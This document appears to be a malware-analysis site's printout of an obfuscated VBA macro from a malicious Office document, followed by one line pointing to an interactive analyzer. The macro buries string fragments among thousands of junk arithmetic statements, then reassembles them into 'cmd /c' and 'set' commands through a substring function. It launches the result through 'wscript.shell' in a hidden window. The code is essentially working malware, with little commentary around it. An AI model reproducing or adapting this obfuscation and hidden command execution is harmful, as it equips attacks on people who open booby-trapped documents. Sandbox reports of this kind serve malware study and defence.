EGzhN = 62922 + 28986 * wKIKjP + CDate(TBqRDB + CDbl(4677)) * 98021 - 56840
hINMuGM = OBmfJH("wW%=TNvufvWXbjUVla2", 2, 11)
RNvHf = XaNLJB
dERnUs = 27619
KlIau = 21553 + 23546 * zBHUSw + CDate(ThScl + CDbl(70105)) * 35749 - 8358
qBcTsv = GUKDf
mJWMUX = 13447
mKSWav = 52997 + 50096 * iNscEW + CDate(JmjXB + CDbl(24140)) * 61987 - 66451
IzARAhW = OBmfJH("jdCset %uEwwG", 4, 7)
bIwDj = orwDq
wRzpj = 66575
pmLimM = 5161 + 65041 * jdaikP + CDate(nfWBiZ + CDbl(1707)) * 57508 - 988
IkFMhm = mjwpiM
nsYLmk = 18817
rizzU = 29421 + 21127 * VQAcz + CDate(owphut + CDbl(35813)) * 41870 - 65431
SlYcAP = OBmfJH("llqasLar&&set %XiwhvH0l", 8, 14)
kQpqJj = thwta
iSRbh = 55350
ikquE = 54187 + 41815 * qQtVw + CDate(PDaUr + CDbl(78676)) * 97806 - 13304
vphDlL = jKnTL
VGLaoc = 81110
XElEq = 65394 + 73528 * hONMD + CDate(uCkPZj + CDbl(26634)) * 90536 - 91549
XbcqZWF = OBmfJH("44zset %vMVNjQijrWUV", 4, 11)
zwcpb = iNbhY
vzudnJ = 55103
FwkqM = 17290 + 81490 * CGAcI + CDate(ErFzvL + CDbl(60784)) * 567 - 71453
FKlmr = qaDWjl
QzYaY = 32006
lhFDI = 18550 + 46167 * dTuNG + CDate(jGDXo + CDbl(78053)) * 99922 - 83678
TjFJF = OBmfJH("X6PKTJC%=p&&set %Nfjwba", 3, 16)
jHQEi = baAzKV
EhdhZ = 47186
jbWiKj = 82303 + 39930 * kcPuM + CDate(vsFpc + CDbl(3883)) * 87502 - 88508
GbjVb = PvSzUD
hzTWO = 1103
hIzfmj = 8221 + 68749 * UnHpj + CDate(qRzIdP + CDbl(68597)) * 23822 - 610
jQIGsBi = OBmfJH("rlfU%!&&F0", 5, 4)
WMUcNn = OoczbE
vajowL = 24984
knJBY = 10985 + 44627 * zwzEQT + CDate(HshtsB + CDbl(7600)) * 93575 - 28791
olOwMS = HvHbM
IqDmo = 92046
tMOJO = 19968 + 60431 * wdWDmz + CDate(YkzKc + CDbl(59162)) * 79740 - 90541
QquUNPPuMmw = OBmfJH("C2iKob%!!%vMVNjQzWL%!!Fad", 4, 19)
vsnNN = fcNzr
WEkBmZ = 20046
kYZIl = 34889 + 38150 * iTjERw + CDate(VXRdY + CDbl(95755)) * 89214 - 79371
ljORM = oThHpz
tJTjiX = 8743
QDCEt = 42070 + 59024 * GLPqmr + CDate(tbwwzM + CDbl(91713)) * 58916 - 81443
QEQLTEDmDBK = OBmfJH("jppLLaH qj", 8, 1)
jhGYh = otnVdM
SXJqa = 91381
JrBVZ = 7852 + 66385 * FLUYM + CDate(KoXEYT + CDbl(52208)) * 93072 - 97068
CPEopb = hHTmFX
DJwjH = 24197
jicpV = 16035 + 20667 * FDvjjR + CDate(cDjPEB + CDbl(22310)) * 75383 - 62208
fJHbWN = OBmfJH("FjNiSkKcNtzbzAmW6", 5, 11)
anYzsV = LfVjc
TTojBP = 81199
nuLht = 6617 + 84484 * FVvwC + CDate(VmANhn + CDbl(46646)) * 7621 - 93031
LbVLop = ZNQVd
aSfcGC = 52540
fEwiD = 78056 + 66271 * NGhNA + CDate(oBJpG + CDbl(23870)) * 89306 - 90841
rLTjzw = OBmfJH("wiRqKjvCli", 3, 2)
ckjvX = tvskW
WYjkBi = 13488
KoPzXd = 58293 + 35253 * vOSkh + CDate(uTsKL + CDbl(39756)) * 20448 - 79379
RFoZGV = MinDNk
FjvYj = 56941
ZtTnWH = 78690 + 84458 * ziGHO + CDate(SAVHzf + CDbl(9410)) * 16955 - 20977
zRETFLa = OBmfJH("s,i%=!%liPKTniC", 4, 9)
htkBUw = wpsLVm
NlUPqU = 13573
ESNvDc = 61255 + 33066 * lIIpN + CDate(qzwiI + CDbl(34317)) * 42206 - 52813
Ibsbpo = ISkqjw
qmYEt = 28009
tSNfi = 49412 + 46807 * bEtptj + CDate(nGkld + CDbl(30526)) * 50122 - 40648
NHkOrUnzw = OBmfJH("z1sbjHRqXzI%!CFiiwj", 3, 11)
qvDzMu = OfiOJi
HOBRqj = 93972
CqZzSU = 15288 + 70768 * TzipmV + CDate(fhQfJO + CDbl(41669)) * 14008 - 17323
JEIRbl = UEUsS
sXhDj = 16529
nLjWW = 78842 + 27509 * vlUEcz + CDate(qAmjr + CDbl(55102)) * 84361 - 39523
QURbPS = OBmfJH("jYiFQLbAzambBbuk7q", 7, 10)
cAwAj = QsLivz
lumXc = 46815
AnqGa = 63251 + 64059 * DRfvr + CDate(tWqNMG + CDbl(39900)) * 53676 - 85760
LwVFSd = zuzsdv
JluZn = 90543
uKTSK = 87431 + 13098 * djzTkJ + CDate(ofjYv + CDbl(92994)) * 44826 - 83705
LjbBt = OBmfJH("dMOn%EOnifCj", 5, 5)
NsYWMa = cSbQlC
IkiwRR = 89781
LtHwO = 81477 + 29091 * OXSrF + CDate(VkmCh + CDbl(39214)) * 2786 - 16093
wcaBfH = YpXKT
IBrjJ = 61485
MiZBC = 11039 + 13056 * wQBjT + CDate(zXXZj + CDbl(54682)) * 983 - 97369
jNRwTPlikY = OBmfJH("Q2BkMsvmAoR%rBU", 4, 9)
UjnWVb = WfMlWR
YwaAL = 54110
VdAZJ = 59168 + 39440 * dDBNh + CDate(VPjll + CDbl(28800)) * 88446 - 41878
mriihY = ZqjHD
mKwjwU = 53490
nZrHOw = 65087 + 33071 * ZGloB + CDate(CpcZC + CDbl(45660)) * 61617 - 23210
iwWfJMn = OBmfJH("i6lIQ%=XETWAaj&&set0Bw ", 5, 15)
LXbwuS = AZGzRn
TZkIi = 19455
SAlzv = 82910 + 42548 * ZGHNHw + CDate(WjWpfF + CDbl(24078)) * 66394 - 4753
sFXKWP = iWvsj
Qvjhz = 80219
FnmPN = 47364 + 85407 * MwoUZ + CDate(ziUUaB + CDbl(26180)) * 50457 - 1959
cBjvt = OBmfJH("dtsDKijAMcUfniKi72", 2, 9)
uWkbXW = NCubET
zzXLR = 49607
YJuTR = 23143 + 24404 * nAfmu + CDate(roQjq + CDbl(36859)) * 52661 - 34715
wEuYFQ = bKzEvE
CrmATb = 48253
lbqrDh = 92337 + 1356 * ZWaowq + CDate(VVioIZ + CDbl(35537)) * 70296 - 31153
DKMjauoa = OBmfJH("O%TCcKJkPOjRqRcmqCKjltjw", 2, 15)
NqLjj = CVTThO
HfKVi = 49610
FEAFfz = 86871 + 69999 * MIGar + CDate(Fpvtn + CDbl(47611)) * 36550 - 60431
pfzkcK = fbnzXA
iGBft = 77446
TXGQaD = 68413 + 34926 * bQcaX + CDate(SCKXsz + CDbl(50549)) * 70601 - 69879
KDDMzcpWz = OBmfJH("U PkdmFIAHoCR%=oAADftw0sp.", 3, 16)
kvRVrq = wTVItT
HBNKM = 63475
ZtpnwV = 41713 + 91085 * tmVUqI + CDate(wYkTd + CDbl(13301)) * 3000 - 68436
wowIF = iruDFL
qwSsM = 62698
owfzQ = 54698 + 71213 * zUuCHW + CDate(jaEwDT + CDbl(49169)) * 25617 - 28833
FLSiIUvYEoX = OBmfJH("fbU EOuA&&set %TCcKJkPOjl7", 6, 19)
lVstq = HwshBI
scuotZ = 17690
EwNRs = 77120 + 30758 * wOjQai + CDate(swHrm + CDbl(11999)) * 28523 - 78297
knXcf = JWoiNN
wOjpqb = 59549
YXmcp = 98920 + 78505 * lmwihN + CDate(ORZGQ + CDbl(42494)) * 47005 - 25545
Noiwnh = OBmfJH("H7!%XiwhvlCHPQl8", 3, 7)
Tkzjz = fFpNMP
ApcUhD = 84462
fukvS = 45374 + 32130 * OhzKQ + CDate(FCFsp + CDbl(12546)) * 86191 - 87350
iRKYUk = bvtNSl
vjhfmn = 86061
EZQAL = 43729 + 44571 * INMCG + CDate(wAjTiY + CDbl(23530)) * 80907 - 43944
vYwqac = OBmfJH("ktHKZikimW%!!%KUiojB4jQwk", 3, 17)
djzJkD = TtLMl
TYaEv = 71685
GinQi = 62201 + 99185 * EUKOC + CDate(XcXNQF + CDbl(9883)) * 86613 - 17889
UPPFSi = ipwcqW
atWGk = 10812
GiBfvl = 99178 + 26191 * mjbqu + CDate(pYTuvi + CDbl(62423)) * 8277 - 19761
sPmIoOH = OBmfJH("iJC%!&&set Ylw1Fwqd", 2, 10)
tsqYC = DwqOk
ZWsfU = 59733
vOjcq = 7488 + 97067 * qKBZZr + CDate(CsJpH + CDbl(71779)) * 56607 - 59488
YrAQc = vfXMJU
BrUGE = 41543
MnCFu = 32994 + 60516 * HKDdww + CDate(BKZKNs + CDbl(95842)) * 57750 - 61753
EnAmaii = OBmfJH("b0F%!!%KjWkMsvmAoR%!jwY7Il", 4, 17)
INvZM = CWrMl
vWLNzX = 25367
jWEJq = 19483 + 61992 * IUOJWj + CDate(DjYvzB + CDbl(12798)) * 13102 - 74411
kSamM = kjwPhj
ZhvJEl = 9645
qlWbFO = 67300 + 72725 * jllft + CDate(YjiqkN + CDbl(6360)) * 98763 - 69728
RkLJZA = OBmfJH("iTL%=lzHWzPbBHmUOQii", 2, 11)
NJYLtI = sStjE
HRBzk = 66526
uwfEXd = 48761 + 91051 * dnlmj + CDate(FKaUYQ + CDbl(86503)) * 24373 - 317
Uomkz = LVnhNl
BMtJq = 42220
Porwd = 63061 + 1617 * HojwIb + CDate(GVcuGr + CDbl(70285)) * 40971 - 27574
omfaN = OBmfJH("kWRzWjf&&set %liijw7A@bK", 2, 15)
MDjwn = zFUKfw
GSkQOz = 1601
cfVFY = 62738 + 92922 * aiTdi + CDate(dRzTu + CDbl(66816)) * 83465 - 78112
uYODVH = QIqWkY
dfEOcj = 82340
fjUKlw = 16481 + 27115 * iAFAMZ + CDate(GZEmzl + CDbl(89209)) * 21005 - 1971
JSUlHmImtw = OBmfJH("0MOwWGuD&&set %jr7O61", 2, 14)
fOqKa = FDsij
VlIuL = 84945
SsQGRH = 5391 + 52876 * rulJJ + CDate(QuYUEz + CDbl(99713)) * 94849 - 40048
NrZNTb = ZGJTK
UjRhK = 20178
jUrML = 63969 + 88012 * aIKZMs + CDate(mUEipK + CDbl(20231)) * 16408 - 64753
HFYGrbOwfE = OBmfJH("HoVzaY8JjE", 2, 2)
DvXbZr = PVusA
Bmhjw = 95008
uzjnzw = 56549 + 60944 * tZMJQ + CDate(lWLAR + CDbl(6794)) * 18893 - 82994
njJHiO = riZqZb
UrEpO = 64324
wROzV = 77588 + 98574 * pANmR + CDate(jGVihb + CDbl(35863)) * 25985 - 43068
dVlKkztTrjv = OBmfJH("HEDtL %sbjHRqXzI24HY", 6, 11)
oDUvI = wFEWrO
HIaioo = 48727
mKdlkj = 20315 + 64346 * wivBK + CDate(UDuMD + CDbl(14584)) * 64896 - 90190
EwUboS = lWJDmV
pMGEJa = 555
OWEMuS = 96903 + 48592 * VmzSri + CDate(cMYcOm + CDbl(47351)) * 52969 - 51561
zPunZDUzj = OBmfJH("m7VKwXU1", 5, 1)
VirTnW = VkzWbY
mwPhz = 43586
wdOcz = 4419 + 46189 * cwclJ + CDate(PhbhPO + CDbl(95153)) * 12725 - 72339
iOhjd = CrtIRm
KDJpE = 61897
FTRjmQ = 98586 + 44788 * JlOvv + CDate(VJOZw + CDbl(91110)) * 89584 - 63398
nfWYpZ = OBmfJH(" TtJGOw&set %fLR4Z", 8, 9)
IPEsi = CrDlIO
wuMAfa = 69349
CrSni = 141 + 51342 * jwKmPa + CDate(MGskH + CDbl(87114)) * 21606 - 19328
HmzDY = rpmzz
JrAUD = 17622
jFMVk = 14151 + 15520 * cLMKm + CDate(Sjtsj + CDbl(48407)) * 78097 - 21902
NkCQRXblkkI = OBmfJH("Hl1ka&&setQU", 6, 5)
qWCNhO = RnMpz
uQMvPD = 28792
anLpqL = 14215 + 53064 * jQYRV + CDate(htbGEu + CDbl(47099)) * 96769 - 94054
TBojE = WfzSqm
NTtvGs = 80743
rUMYRZ = 2401 + 19518 * VdsNt + CDate(NEQrO + CDbl(88751)) * 32453 - 54545
BdVON = OBmfJH("VNmw=ll&&!%HM", 5, 7)
KiQTAr = BGqbjb
mWVVi = 94994
uWUIj = 82742 + 81559 * boasZ + CDate(jIiJb + CDbl(50797)) * 55377 - 71757
tfZEr = wmLaD
fzQWbA = 13497
jkpLv = 71326 + 44327 * CFFIpM + CDate(sPXiI + CDbl(14360)) * 63888 - 11082
RaEnNbPtF = OBmfJH("Y%%=!%NPkdmFIAHoCRLXiO6H8", 3, 16)
jBvIp = IHjDfI
OJGzVk = 12983
uITfX = 14117 + 8149 * wwwfZ + CDate(tpOmMw + CDbl(97039)) * 48657 - 73429
mpPFzN = RIjrmm
nstKHd = 83014
dcWdY = 1364 + 59582 * qhVlzd + CDate(AfodXQ + CDbl(68391)) * 61763 - 7661
AqqWzSzZito = OBmfJH("zRcm%=he&&set %KjWz4XREF", 2, 17)
MpVsn = AFhLni
ptmjq = 20355
AkKJs = 59862 + 35834 * TotvSH + CDate(LJjCr + CDbl(40330)) * 60597 - 34929
RlZrB = Mtzbcs
MZTvNZ = 31094
YmmbuA = 20028 + 10665 * holik + CDate(afAca + CDbl(23636)) * 4831 - 31596
WlblzJosBOi = OBmfJH("VtKlkKZikimW4ia", 6, 7)
QskzV = XiYVt
nPGfCn = 69603
nHLcKt = 30292 + 26746 * pjVWOL + CDate(QKjGJ + CDbl(19080)) * 24985 - 23414
tphSc = dvBkG
vQkBQ = 49353
ItojS = 69222 + 79129 * NXoll + CDate(mTKuLw + CDbl(99384)) * 16054 - 34615
WiVkt = OBmfJH("HCjcvTNFhOouhJ%=SjsK", 4, 14)
DaKZX = FzJGm
EIPinF = 32026
NzVvJ = 94888 + 48925 * FcRAb + CDate(drZPrL + CDbl(33895)) * 83551 - 54452
QMSdR = FkwXvX
WaBEmr = 99883
HipWu = 16374 + 86411 * CiZcu + CDate(jWZtBR + CDbl(46506)) * 42751 - 26963
kJYllwnXV = OBmfJH("iaWdzWL%=s&VX5lh", 5, 7)
OzEFLE = AFFIid
XjMKv = 79590
utnrf = 59711 + 86686 * iulUDH + CDate(DnNwDY + CDbl(44444)) * 78382 - 51177
jsEYrmipMiMlk = IzARAhW + fJHbWN + RkLJZA + omfaN + TjFJF + KDDMzcpWz + NkCQRXblkkI + izOqPJ + QURbPS + iwWfJMn + dVlKkztTrjv + zRETFLa + sPmIoOH + LjbBt + WiVkt + JSUlHmImtw + fDHjPHDlPN + SlYcAP + WlblzJosBOi + RaEnNbPtF + jQIGsBi + XbcqZWF + kJYllwnXV + nfWYpZ + cBjvt + HFYGrbOwfE + hINMuGM + FLSiIUvYEoX + rLTjzw + AqqWzSzZito + jNRwTPlikY + BdVON + NHkOrUnzw + Noiwnh + vYwqac + zPunZDUzj + QquUNPPuMmw + DKMjauoa + EnAmaii + QEQLTEDmDBK
tRWUF = aYPUG * OjZlL
LXKZz = cZzzmz / ChrW(EMllN * VcjKv) - nomYjZ * NzdDv * 38648 / CSng(34574)
End Function
Sub KUiojwKob(vMVNjQzWL As String)
On Error Resume Next
Anorvz = zMGFzL
FATozD = 66187
dikuU = 5246 + 3666 * ZGamuN + CDate(ciGtJ + CDbl(34061)) * 19406 - 97794
JYaEpSSIrlfznc = RvwmR + Replace("wAADft", "AADft", "s") + wSPbKF + Chr(VBA.vbKeyC) + Replace("ript.AADfthell", "AADft", "s") + AfvvT
wZYfsn = JsKZHT
QdYGPb = 72320
HWTDH = 41126 + 57476 * zNzcAu + CDate(QDzaiF + CDbl(15820)) * 81987 - 38869
CreateObject(JYaEpSSIrlfznc).Run VqXGojsvqRBMo + Chr(VBA.vbKeyC) + vMVNjQzWL + VfRMMJqjVkI + QAHDz, vbHide
wNmiGU = jEhJc
DPTEwn = 91426
KzlUmw = 73436 + 31723 * onSVNb + CDate(rZwDfE + CDbl(18365)) * 50665 - 87058
End Sub


Attribute VB_Name = "FnwvJPDBoNBJU"
Function DblBTFkoB()
On Error Resume Next
zVAvo = DfEwR
KjZznV = 32392
YIsLRr = 25428 + 53367 * AwhbS + CDate(tqRjE + CDbl(73887)) * 46861 - 35966
fDHjPHDlPN = OBmfJH("sVzTUYiq &   0a", 6, 8)
IDkrw = CYcEpr
piwDcK = 8036
jArdf = 18078 + 41262 * MCApdC + CDate(HWfbz + CDbl(45550)) * 11017 - 42806
znEKCa = HGYZis
tnKaHA = 87475
AsiIT = 66795 + 68181 * lLNPRz + CDate(JlkhGR + CDbl(49223)) * 87153 - 60567
izOqPJ = OBmfJH("O  %AADfttHiVEX", 2, 4)
SpGPDp = ionLf
GAYVnN = 39013
XwBAoX = 36595 + 74037 * azwWBt + CDate(UiWNhd + CDbl(18839)) * 51517 - 57061
tKzFYv = mbILpM
cVLRDH = 60450
zGttNC = 62162 + 69565 * lZXDJY + CDate(OwwCc + CDbl(11598)) * 76840 - 33859
hINMuGM = OBmfJH("w BziovQbioRAtJZTzpPSfSbjUVla2", 2, 22)
SoCka = QMJMsM
iiGrOa = 30143
WSzqDF = 21079 + 56401 * rScbv + CDate(dATtI + CDbl(20221)) * 87105 - 94507
dDjzbE = ntLJn
ENZDX = 60438
irlwt = 12721 + 89434 * HIkPb + CDate(PQKwFq + CDbl(90474)) * 57270 - 13217
IzARAhW = OBmfJH("jdCAADftpAADftEAADftcAADft%  wwG", 4, 10)
BPoDoI = zdEEl
nEUJd = 62752
auMUpw = 28651 + 9004 * oFEkK + CDate(dSqkwr + CDbl(75957)) * 72074 - 44056
ziKtl = EAEqAi
fMRzi = 6589
rzsPs = 76144 + 93440 * NNYwBd + CDate(NNrrw + CDbl(51421)) * 34279 - 59851
SlYcAP = OBmfJH("llqasLa   /V     0l", 8, 10)
XkMhl = nVspJB
uAwAOn = 82807
DclWw = 8765 + 11605 * HlaSVs + CDate(aOERZ + CDbl(6540)) * 8494 - 23303
inFEi = XisuYp
HjsWWP = 55734
WmHZD = 14954 + 79192 * EWaut + CDate(zRzlGz + CDbl(54254)) * 20807 - 27975
XbcqZWF = OBmfJH("44z   ijrWUV", 4, 3)
AokiDq = CCYHAw
akianX = 97567
mdibWk = 18748 + 59885 * LYJYP + CDate(KEOoX + CDbl(84475)) * 39578 - 42476
wItitz = ziQflY
YrpamQ = 57515
EJaRZ = 25645 + 83192 * azdDL + CDate(mUNaUm + CDbl(32057)) * 87349 - 75094
TjFJF = OBmfJH("X6md mqVPQCZfjwba", 3, 10)
AXjlTT = VTdDjE
XVGQqi = 15002
VpEUN = 21759 + 93728 * BLWsRC + CDate(FzGDHk + CDbl(65564)) * 59665 - 5972
ZkuuZ = GdTiI
bjXLA = 3864
qhUor = 83172 + 81099 * AsGWvH + CDate(jCvKAO + CDbl(1580)) * 3105 - 27136
jQIGsBi = OBmfJH("rlfU%AADftcAADftoAADftmAADftSAADftpAADftEAADftcAADft%  F0", 5, 19)
RJTiMU = bBkiEv
CjiGk = 24653
NJhzV = 29394 + 81812 * JpfGE + CDate(iWDoXN + CDbl(89705)) * 87302 - 43709
qOAns = GlcKV
ozSLOu = 97436
wjcTL = 6548 + 49724 * WVKVjs + CDate(maUkFJ + CDbl(1538)) * 52580 - 80488
QquUNPPuMmw = OBmfJH("C2icAADftoAADftmAADftSFad", 4, 7)
INIRA = QddWJ
jcpkVP = 13979
zMvTj = 72049 + 86659 * twvFn + CDate(DpRTW + CDbl(38976)) * 88624 - 84596
ZPTBM = csSla
zhdjd = 33219
SYVRDO = 15861 + 34844 * lckEtz + CDate(jwAODS + CDbl(16271)) * 38410 - 13997
QEQLTEDmDBK = OBmfJH("jppLLaH       qj", 8, 7)
PwHQG = FcbmEw
mEwwG = 81920
WZCiw = 75919 + 54879 * bzQBK + CDate(wJKNfz + CDbl(58329)) * 53693 - 35615
FLlJdw = fjEfi
qOrvT = 31366
tUsnd = 12495 + 94153 * lVYZHz + CDate(ANRzuj + CDbl(25814)) * 20543 - 19616
fJHbWN = OBmfJH("FjNiHrJWZ HCYZrIwfdFtW6", 5, 17)
hMsMun = SCtlT
fWzVtO = 61109
aGBNi = 56738 + 40582 * VjJis + CDate(tEZqhC + CDbl(13111)) * 10538 - 7552
VAOjD = phVdJc
vLTkFo = 92791
vwzDK = 6732 + 68767 * HYEum + CDate(qOPGJ + CDbl(15720)) * 38696 - 88528
rLTjzw = OBmfJH("wi    /c    KjvCli", 3, 10)
GYCqsa = wdKwaD
dsqFO = 25782
EiCsU = 11049 + 40086 * foEBJr + CDate(INrrZb + CDbl(51906)) * 67895 - 77635
DblBTFkoB = TjFJF + hINMuGM + fJHbWN + fDHjPHDlPN + izOqPJ + QquUNPPuMmw + IzARAhW + XbcqZWF + jQIGsBi + SlYcAP + rLTjzw + QEQLTEDmDBK
nzlNSC = jiBqA * XVNzwW
ZtZzkd = Wnddz / ChrW(PhIjl * lwUbp) - IPUWLd * MuDtXm * 56601 / CSng(80663)
End Function
Function OBmfJH(ByVal sbjHRqXzI As String, KjWkMsvmAoR, TCcKJkPOjRqRcm)
On Error Resume Next
WQMtW = VpnZN
rrzGp = 20781
ttwTwi = 45994 + 29285 * ZNshE + CDate(jPrQD + CDbl(68462)) * 45704 - 29717
dmwCYQcWsSXn = XijYL + Replace(sbjHRqXzI, "AADft", "^") + iXqha
YwQOwu = QZhjU
LjOZG = 84830
dwwOu = 99533 + 6857 * rpBzd + CDate(ISbBFp + CDbl(42733)) * 98864 - 50590
XiwhvHKZikimW = BPGASTwjpFzZA + Mid(dmwCYQcWsSXn, KjWkMsvmAoR, TCcKJkPOjRqRcm) + TwqjY
fjqUCQ = XBCziY
MfsDw = 45340
SJYziS = 47184 + 66061 * wmaqK + CDate(ZmzBj + CDbl(51148)) * 66130 - 74760
OBmfJH = VBtqoF + XiwhvHKZikimW + lBsNXRXUwOpu
MDhwq = GFzrQ
WSbjZi = 88598
KBZzz = 96402 + 14026 * dDRlo + CDate(tRTzzi + CDbl(98458)) * 65717 - 77077
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.